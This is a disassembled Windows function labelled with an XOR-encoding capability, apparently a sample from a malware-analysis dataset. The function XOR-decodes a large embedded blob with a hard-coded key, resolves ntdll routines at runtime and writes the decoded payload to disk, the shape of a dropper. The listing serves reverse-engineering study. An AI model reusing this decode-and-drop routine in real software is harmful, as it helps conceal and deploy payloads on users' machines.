Function at 0x140001c70
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xd8
mov rsi, rcx
mov ecx, 0x130600
call fcn.140108500
mov r8d, 0x130600
lea rdx, [0x14010e120]
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll_memcpy
lea rax, [rsp + 0xb0]
mov edx, 0x6e45
xor ecx, ecx
mov qword [rsp + 0xa0], rax
movabs rax, 0x5678396447384a64
movabs r8, 0xcccccccccccccccd
mov qword [rsp + 0xb0], rax
mov word [rsp + 0xb8], dx
mov qword [rsp + 0xa8], 0xa
mov byte [rsp + 0xba], 0
nop
mov rax, rcx
mul r8
shr rdx, 3
lea rax, [rdx + rdx*4]
mov rdx, rcx
add rax, rax
sub rdx, rax
movzx eax, byte [rsp + rdx + 0xb0]
xor byte [rbx + rcx], al
add rcx, 1
cmp rcx, 0x130600
jne 0x140001cf0
mov rax, qword [str.ntdll.dll]
lea rdi, [rsp + 0xa0]
mov rcx, rdi
mov qword [rsp + 0xa0], rax
mov eax, 0x6c
mov word [rsp + 0xa8], ax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movdqa xmm0, xmmword [str.RtlInitUnicodeStLdrUnloaExecute]
mov byte [rsp + 0xb4], 0
mov rcx, rax
mov rdx, rdi
mov dword [rsp + 0xb0], 0x676e6972
movaps xmmword [rsp + 0xa0], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rbp, [rsp + 0x80]
mov rdx, qword [rsi]
mov rcx, rbp
call rax
lea rax, [rsp + 0x78]
mov dword [rsp + 0x50], 0
pxor xmm0, xmm0
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x40], 0x20
mov r8, rdi
mov edx, 0x100002
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x38], 5
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], pe_nt_image_headers64
mov qword [rsp + 0x20], rax
mov qword [rsp + 0xb0], rbp
lea rbp, [rsp + 0x90]
mov r9, rbp
mov dword [rsp + 0xa0], 0x30
mov qword [rsp + 0xa8], 0
mov dword [rsp + 0xb8], 0x40
mov qword [rsp + 0x78], 0x100000
movaps xmmword [rsp + 0xc0], xmm0
call fcn.140001be0
mov edi, eax
test eax, eax
jne 0x140001e88
mov dword [rsp + 0x30], 0x130600
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x40], 0
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbp
call fcn.140001bd0
test eax, eax
jns 0x140001f06
xor esi, esi
mov edx, 0x130600
mov rcx, rbx
call fcn.1401084c0
mov eax, esi
add rsp, 0xd8
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rsi, qword [0x140245880]
mov r8d, 0x17
lea rdx, [0x14010e090]
mov rcx, rsi
call fcn.140100650
mov edx, edi
mov rcx, rsi
call fcn.1400a8320
mov r8d, 2
lea rdx, [0x14010e0a8]
mov rcx, rax
mov rsi, rax
call fcn.140100650
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rsi
call fcn.1400a8590
mov rcx, rax
mov rax, qword [rax]
mov byte [rsp + 0x6d], 0xa
mov rax, qword [rax - 0x18]
cmp qword [rcx + rax + 0x10], 0
je 0x140001f97
lea rdx, [rsp + 0x6d]
mov r8d, 1
call fcn.140100650
jmp 0x140001e66
lea rdi, str.File_successfully_created_and_decrypted_bytes_written_
mov rcx, rdi
call sub.msvcrt.dll_wcslen
mov rdx, rdi
mov rdi, qword [0x1402458e0]
mov r8, rax
mov rcx, rdi
call fcn.140100ae0
mov rdx, qword [rsi]
mov r8, qword [rsi + 8]
mov rcx, rdi
call fcn.140100ae0
mov rsi, rax
mov rax, qword [rax]
mov rax, qword [rax - 0x18]
mov rcx, qword [rsi + rax + 0xf0]
test rcx, rcx
je 0x140001fb3
mov rax, qword [rcx]
mov edx, 0xa
call qword [rax + 0x50]
mov rdx, qword [rsi]
mov word [rsp + 0x6e], ax
mov rdx, qword [rdx - 0x18]
cmp qword [rsi + rdx + 0x10], 0
je 0x140001fa6
lea rdx, [rsp + 0x6e]
mov r8d, 1
mov rcx, rsi
call fcn.140100ae0
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 1
jmp 0x140001e68
mov edx, 0xa
call fcn.1400a6e10
jmp 0x140001e66
movzx edx, ax
mov rcx, rsi
call fcn.1400cccd0
jmp 0x140001f82
call fcn.140109180
mov rsi, rax
mov rcx, rbx
mov edx, 0x130600
call fcn.1401084c0
mov rcx, rsi
call fcn.140019f10
nop
nop word cs:[rax + rax]
nop dword [rax]